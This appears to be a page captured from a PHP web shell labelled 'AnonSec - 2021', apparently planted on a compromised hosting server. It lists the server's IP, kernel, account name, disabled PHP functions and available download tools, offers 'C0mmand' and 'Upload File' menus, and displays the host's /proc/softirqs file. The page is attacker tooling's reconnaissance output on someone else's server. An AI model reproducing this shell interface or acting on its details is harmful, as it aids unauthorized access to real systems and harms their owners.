Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   16011560   43009217   24253299   33586879   20578589   35590237   29698413   18939988   25419334   20404878   19959157   22122510  106570587   13178706   33106626   22918927
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         14          2          0          5          1
      NET_RX:   23387762   61449687   32919197   90896388   31005661  116357433   29834550   28810488   47138138   36773267   45038488   32284541   47776488   22443498   99337358  110132194
       BLOCK:    1152294    2072058    1911057    1491161    1226966    1275074    1261235    1199290    1320207    1108945     997416    1218250    1174319    1202512    1350957    1500573
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5316286   13320427    3900408   24319445    7743752   30440559    8037147    6577732   11289331    7758775   15473944    9091771   14660578    4255982   23753792    4094091
       SCHED:   38382551   18955028   12297148   15980049    9955186   18373972   10775414    9116486   11798680    9932017    9283424   12038818   21884893    8044730   16200658   21505811
     HRTIMER:       1623       4982       3316       8522       2131      12781       1417       2126       4219       2450       5324       3810       5304       1267       6923        968
         RCU:   38770618   70812327   48793015   83308416   45317780  102750307   48729518   41760586   56160168   48617507   40518063   43406532   93682205   36838882   93526445  143511835

AnonSec - 2021